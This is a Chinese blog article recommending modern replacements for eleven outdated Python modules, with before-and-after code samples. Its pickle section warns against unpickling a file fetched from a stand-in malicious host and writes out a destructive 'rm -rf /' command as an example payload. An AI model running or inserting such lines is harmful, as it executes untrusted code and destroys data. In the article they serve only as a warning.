您不应该再使用的 11 个过时 Python 模块

Python 发展如此之快。

您 5 年前学过的一些模块?也许因为安全风险、缺乏维护、更好的现代替代品,或者 Python 的新特性使它们变得没有必要,它们今天已经过时了。

使用过时的模块可能会给您的 Python 项目带来意想不到且难以检测的 bug。

本文总结了 11 个过时的 Python 模块及其现代替代品,以帮助您更新知识库并升级您的 Python 武器库。

1. pipes模块: 自 Python 3.13 起移除

根据 PEP 594 的声明,pipes 模块已从 Python 3.13 中移除。

它是在 Python 中编写 Unix “pipe “逻辑(上一条命令的输出是下一条命令的输入)的工具。

现在更强大的跨平台模块是subprocess

下面的代码就是如何使用过时的pipes模块:

 

# Old way using pipes (Deprecated and removed in Python 3.13)
import pipes

cmd = pipes.Template()
cmd.append('echo Hello, Yang!', '--')
cmd.append('tr a-z A-Z', '--')
with cmd.open('', 'r') as f:
    output = f.read()
print("Output using pipes:", output)
# Output using pipes: HELLO, YANG!

这似乎不够直观,让我们看看如何使用新方法来实现相同的逻辑:

# Modern way using subprocess (Recommended)
import subprocess

result = subprocess.run(
    "echo Hello, Yang! | tr a-z A-Z",
    shell=True,
    capture_output=True,
    text=True,
)
print("Output using subprocess:", result.stdout)
# Output using subprocess: HELLO, YANG!

整洁而清晰,不是吗?

2. typing.Text: 多余的类型提示

typing.Text 是为兼容 Python 2 而设计的类型别名。在现代 Python 版本中它是多余的,str 已经足够了。

我们可以用 str 代替 typing.Text

 

from typing import Text

# The outdated type hint
def greet_old(name: Text) -> Text:
    return f"Hello, {name}!"

# The modern type hint
def greet_modern(name: str) -> str:
    return f"Hello, {name}!"


print(greet_old("Yang"))
print(greet_modern("Yang"))

3. urllib: 与更好的模块相比,urllib 过于基础,难以使用

urllib 模块是 Python 的内置标准库,用于处理与网络相关的任务,如

  • HTTP 请求
  • URL 解析
  • 从网络服务器下载内容
  • 等等

但是,由于网络的快速发展,这个模块变得很不方便。它非常基础和低级,不容易处理复杂的任务。

更好的选择是 urllib3 requests,前者是一个更易用且功能强大的 HTTP 客户端,后者建立在 urllib3 的基础上,让一切变得更简单。

让我们同时使用古代模块和现代模块来实现一个程序,看看它们有什么不同:

 

import urllib.request
import urllib.error
import json

url = 'https://httpbin.org/post'
data = json.dumps({'name': 'Yang Zhou'}).encode('utf-8')
headers = {
    'Content-Type': 'application/json',
    'X-Custom-Header': 'Hello'
}
req = urllib.request.Request(url, data=data, headers=headers, method='POST')
try:
    with urllib.request.urlopen(req, timeout=5) as response:
        resp_data = response.read().decode('utf-8')
        json_data = json.loads(resp_data)
        print(json_data)
except urllib.error.URLError as e:
    print("Error:", e)

上述程序使用 urllib 进行简单的 POST 请求,并接收响应的 JSON 数据。看起来很复杂,不够 Pythonic?

让我们看看如何使用requests来做同样的事情:

 

import requests

url = 'https://httpbin.org/post'
data = {'name': 'Yang Zhou'}
headers = {'X-Custom-Header': 'Hello'}
try:
    response = requests.post(url, json=data, headers=headers, timeout=5)
    response.raise_for_status()  
    print(response.json())
except requests.exceptions.RequestException as e:
    print("Error:", e)

更整洁、更清晰、更好看。不是吗?

总之,作为一个老模块,urllib 仍然有效–但如果你在编写大量网页代码时没有使用它的现代替代模块(如 requests),你就会使你的代码变得不必要的复杂。

4. crypt 模块: 现在还不够安全

Python 的 crypt 模块是 Unix 世界遗留下来的,对于现代应用程序来说还不够安全。

它的缺点包括

  • 仅适用于 Unix: Windows 上不可用
  • 算法有限: 取决于系统的 crypt() 实现
  • 不灵活: 没有内置密码验证
  • 默认值较弱: 现代哈希函数更强
  • 没有恒定时间比较: 容易受到定时攻击

如果你现在正在构建任何程序,那么 bcrypt 这个跨平台的强密码生成模块是你应该选择的。

这是一个如何在程序中应用 bcrypt 模块的基本示例:

 

import bcrypt

# Hash a password
password = b"mystrongpassword"
hashed = bcrypt.hashpw(password, bcrypt.gensalt())
print(hashed)
# Verify password
if bcrypt.checkpw(password, hashed):
    print("Password matches!")
else:
    print("Password does not match.")

5. typing” 模块中对内置类型的无用类型提示

Python 的 typing 模块为一些内置类型(如 ListDict 等)提供了类型提示。

自 Python 3.9 起,我们可以直接为这些数据类型编写类型提示,而无需从typing模块中导入。

 

# The outdated type hint
from typing import Dict, List

def old_function(x: List[int]) -> Dict[str, int]: 
    ...

# The modern type hint, no need to import anything from typing module
def new_function(x: list[int]) -> dict[str, int]: 
    ...

新更新包括以下类型:

  • typing.Dict (→ dict)
  • typing.FrozenSet (→ frozenset)
  • typing.List (→ list)
  • typing.Set (→ set)
  • typing.Tuple (→ tuple)

6. 旧的字符串格式化样式

如果您很早就开始学习 Python 编程,或者是从 C 或 C++ 等其他语言转过来的,您可能知道 Python 支持一些旧式的字符串格式化语法,比如 % 运算符或 .format() 方法。

它们在最新的 Python 版本中仍然可以使用,但我们不应该再使用它们了。它们难以阅读,而且容易出错。

整洁、优雅、现代的字符串格式化方式是使用 f-strings

 

name = "Yang Zhou"
age = 32

# The outdated format string using % operator
print("My name is %s and I am %d years old." % (name, age))

# Another outdated format string using .format() method
print("My name is {} and I am {} years old.".format(name, age))

# The modern format string
print(f"My name is {name} and I am {age} years old.")

7. cgi 模块: 被现代网络开发框架取代

在网络开发的早期,CGI 脚本非常流行。Python 也有 cgi 模块。

然而,如今我们再也不应该使用它了。原因有很多,在此列举几条:

  • 非常老旧: 90 年代为 CGI 脚本设计
  • 慢: 每个请求需要一个 Python 进程
  • 不安全: 难以安全处理输入
  • 功能有限: 无路由、无模板、无现代网络功能

PEP 206 甚至提到该模块 “设计不当,现在几乎不可能修复”。

cgi 模块是 Python 网络开发早期的化石。在 Flask、FastAPI 和 Django 的现代世界里,它属于博物馆。

根据 PEP 594 的声明,它已从 Python 3.13 中移除。

顺便提一下,cgitb 模块用于在浏览器中显示详细的错误跟踪,以便调试。它被设计为与 cgi 一起使用,因此也没有必要再使用它了。有许多现代调试工具可用于 Python 网络开发。

8. ossaudiodev:过时的音频模块

ossaudiodev 模块为 OSS(开放声音系统)音频 API 提供了一个接口,在旧的 Unix/Linux 系统中用于播放和录制音频。

现在,大多数现代系统使用 ALSAPulseAudio 代替 OSS。在 Linux 中,OSS 也已被淘汰。

因此,我们现在应该使用跨平台的音频处理模块,如 pyaudiosounddevicepygame.mixerplaysound

9. pickle: 一个不安全的模块,应该被其他工具取代

Python 有一个名为 pickler 的内置模块,用于将 Python 对象序列化(保存)为字节,或将字节反序列化为 Python 对象。

然而,使用该模块可能会使您的程序面临远程代码执行 (RCE) 风险(从不可信任的来源加载数据,从而执行任意代码)。

例如,我们绝对不能从互联网上获取数据,如下所示:

 

import pickle
import requests

url = "http://evil-website.com/data.pkl"

response = requests.get(url)

# Dangerous! If that pkl file contains malicious code, it will run!
data = pickle.loads(response.content)

因为如果 response.content 中有恶意代码,pickle.loads() 方法就会执行这些代码。⚠️

如果被这行代码嵌入了怎么办?

 

os.system("rm -rf /")

所有内容都会意外删除!

因此,尽管 pickle 模块并没有完全过时,但最好的做法是在生产中避免使用该模块,而是使用更安全的序列化格式,如 json

使用 json 的更安全代码:

 

import requests
import json

url = "https://safe-website.com/data.json"

response = requests.get(url)

data = response.json()  # SAFE: only handle data, no code execution

 

pickle 模块并非完全过时,但在互联网上信任它的人很少。

10. asyncore 和 asynchat: 已移除的异步模块

asyncio 出现之前,asyncore asynchat 都用于构建异步网络服务器/客户端。

由于 asyncio 是更强大的新工具,Python 正式在 Python 3.12 中删除了这两个旧模块

除了 asyncio,现代 Python 异步编程还有其他一些选择。在此列举几个流行的:

  • aiohttp:异步 HTTP 客户端/服务器(适合网络开发)
  • trio:结构化并发
  • Quart:类似 Flask 的网络框架,但异步优先
  • FastAPI:异步优先的网络框架

11. random: 生成密码太不安全

random 模块使用梅森捻子算法生成随机数。它速度很快,在 Python 3.6 之前很常用。

然而,这种算法是确定性的。

这意味着如果使用相同的种子,就会得到完全相同的输出!

可预测性有利于攻击者,而不是开发者。如果他们看到足够多的输出,也许就能反向设计状态并预测未来的值。

因此,我们不应再用它来生成敏感数据。

从 Python 3.6 开始添加的 secrets 模块是生成密码学上强的随机数来设置敏感数据(如密码)的更安全的选择。因为它从操作系统中获取基于硬件噪声等的随机性,而这些随机性更难预测。

其用法也非常简单:

 

import secrets

password = secrets.token_hex(16)
print(password)

结论

Python 是一种快速发展的语言,尤其是在人工智能时代。

三五年前被认为是最佳实践的东西,现在与其现代替代品相比,可能会变得缓慢、不安全或笨拙。

随着 Python 的发展,作为开发者的我们也应该与时俱进。

固守过时的模块不仅会让我们的代码更难维护,还可能意味着我们会错过更简洁的语法、更好的性能和更高的安全性。

保持好奇心。保持更新。感谢您的阅读!❤️

你也许感兴趣的:

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注